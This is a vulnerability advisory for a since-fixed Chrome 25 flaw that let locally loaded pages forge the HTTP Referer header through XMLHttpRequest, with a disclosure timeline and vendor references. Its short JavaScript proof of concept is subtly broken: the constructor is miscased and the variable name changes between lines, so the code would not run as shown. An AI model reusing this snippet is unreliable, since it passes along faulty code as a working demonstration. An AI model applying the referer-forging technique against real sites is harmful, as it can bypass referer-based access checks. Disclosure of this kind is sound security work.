Advisory:                      XMLHttpRequest HTTP Referer Header Faking
Author:                         Liad Mizrachi
Vendor URL:                http://www.chromium.org/
Vulnerability Status:     Fixed
Application Version:     Google Chrome v25.0.1364.152


==========================
Vulnerability Description
==========================

Chromium is the open source web browser project from which Google
Chrome draws its source code.

Chromium fails to validate the use of unsafe headers when the page is
load from the local drive, allowing to set and change the referer
header using "setRequestHeader" when generating a Ajax
(XMLHttpRequest) request.


==========================
PoC
==========================

function SendReq()
{
    var xmlhttp = new XmlHttpRequest();
    xmlHttp.onreadystatechange = readyStateChanged;
    xmlHttp.open("GET", "http://AnySite.com/checkReferer.php", true);
    xmlHttp.setRequestHeader("Referer", "http://valid.referer.com");
    xmlHttp.send();
}


==========================
Solution
==========================

Block all scripts from setting unsafe headers in XMLHttpRequest.
- Fixed by vendor.



==========================
Disclosure Timeline
==========================

04-Mar-2013 - Google Security Team informed by mail.
14-Mar-2013 - Google Security Team Reply: "Since ChromeOS is an open
source project, please file the report directly in their bug tracker"
14-Mar-2013 - Security Bug Opened @ Chromium project.
30-Apr-2013 - Fixed.


==========================
References
==========================
http://www.chromium.org/
https://codereview.chromium.org/13979011/